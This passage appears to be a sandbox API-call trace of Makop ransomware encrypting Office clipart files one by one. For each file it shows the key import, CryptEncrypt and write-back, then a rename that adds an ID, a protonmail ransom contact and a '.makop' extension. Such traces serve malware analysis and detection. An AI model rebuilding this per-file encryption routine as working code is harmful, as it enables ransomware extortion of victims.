0x48a0000 [0135.660] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.660] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.660] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.660] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.664] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.664] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.665] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.665] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe20, lpOverlapped=0x0) returned 1 [0135.665] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0135.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0135.666] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.666] SetEndOfFile (hFile=0xf0) returned 1 [0135.673] GetProcessHeap () returned 0x48a0000 [0135.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.674] GetProcessHeap () returned 0x48a0000 [0135.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.674] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.675] CloseHandle (hObject=0xf0) returned 1 [0135.676] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0135.676] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF") returned 63 [0135.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.677] GetProcessHeap () returned 0x48a0000 [0135.677] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.677] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0135.682] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.682] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.682] GetProcessHeap () returned 0x48a0000 [0135.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.682] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.682] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.683] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.683] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x103e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x103e, lpOverlapped=0x0) returned 1 [0135.685] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1040, dwBufLen=0x1040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1040) returned 1 [0135.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1040, lpOverlapped=0x0) returned 1 [0135.686] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.687] SetEndOfFile (hFile=0xf0) returned 1 [0135.693] GetProcessHeap () returned 0x48a0000 [0135.693] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.694] GetProcessHeap () returned 0x48a0000 [0135.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.694] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.695] CloseHandle (hObject=0xf0) returned 1 [0135.695] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0135.696] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF") returned 63 [0135.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.696] GetProcessHeap () returned 0x48a0000 [0135.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.697] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0135.702] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.702] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.702] GetProcessHeap () returned 0x48a0000 [0135.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.702] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.703] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.704] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4a0e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4a0e, lpOverlapped=0x0) returned 1 [0135.705] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a10, dwBufLen=0x4a10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a10) returned 1 [0135.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.706] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4a10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4a10, lpOverlapped=0x0) returned 1 [0135.706] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.707] SetEndOfFile (hFile=0xf0) returned 1 [0135.714] GetProcessHeap () returned 0x48a0000 [0135.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.714] GetProcessHeap () returned 0x48a0000 [0135.714] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.714] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.716] CloseHandle (hObject=0xf0) returned 1 [0135.716] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0135.716] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF") returned 63 [0135.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.718] GetProcessHeap () returned 0x48a0000 [0135.718] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.718] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.723] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.723] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.723] GetProcessHeap () returned 0x48a0000 [0135.723] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.723] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.723] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.723] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.724] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.724] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2cf8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2cf8, lpOverlapped=0x0) returned 1 [0135.726] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d00, dwBufLen=0x2d00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d00) returned 1 [0135.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d00, lpOverlapped=0x0) returned 1 [0135.727] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.727] SetEndOfFile (hFile=0xf0) returned 1 [0135.734] GetProcessHeap () returned 0x48a0000 [0135.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.734] GetProcessHeap () returned 0x48a0000 [0135.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.734] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.736] CloseHandle (hObject=0xf0) returned 1 [0135.736] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0135.736] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF") returned 63 [0135.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.738] GetProcessHeap () returned 0x48a0000 [0135.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.738] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 